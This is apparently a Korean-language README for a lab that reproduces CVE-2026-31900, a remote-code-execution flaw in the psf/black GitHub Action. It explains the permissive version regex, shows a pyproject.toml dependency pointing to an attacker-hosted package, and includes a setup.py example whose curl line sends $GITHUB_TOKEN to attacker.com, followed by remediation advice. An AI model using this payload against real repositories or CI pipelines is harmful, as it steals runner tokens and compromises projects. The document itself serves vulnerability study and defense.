
CVE-2026-31900 취약점 실습 환경 - psf/black GitHub Action RCE
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (높음) |
| 권고 | GHSA-v53h-f6m7-xcgm |
| 영향 범위 | psf/black GitHub Action < v26.3.0 |
| 유형 | 공급망을 통한 RCE (pull_request 트리거) |
use_pyproject: true 옵션은 pyproject.toml에서 Black 버전을 읽습니다. 버전 문자열 검증에 사용되는 정규식은 re.IGNORECASE로 인해 과도하게 허용적이며, 공백, @, :, / 같은 문자를 허용합니다 — 이는 PEP 508 URL 요구 사항에 정확히 필요한 문자들입니다.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml을 수정합니다:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request 워크플로우 트리거가 실행됩니다pyproject.toml에서 악성 버전을 읽고, 정규식 검증을 우회합니다setup.py가 임의 코드를 실행합니다setup.py 예시from setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (CI 러너 토큰)psf/black v26.3.0으로 업그레이드하거나, use_pyproject: true 대신 워크플로우 YAML에서 버전을 명시적으로 고정하세요.
.github/workflows/black.yml ← 취약한 워크플로우 (use_pyproject: true)
pyproject.toml ← 정상 구성 (main 브랜치)
app.py ← 포맷팅 대상 샘플 Python 파일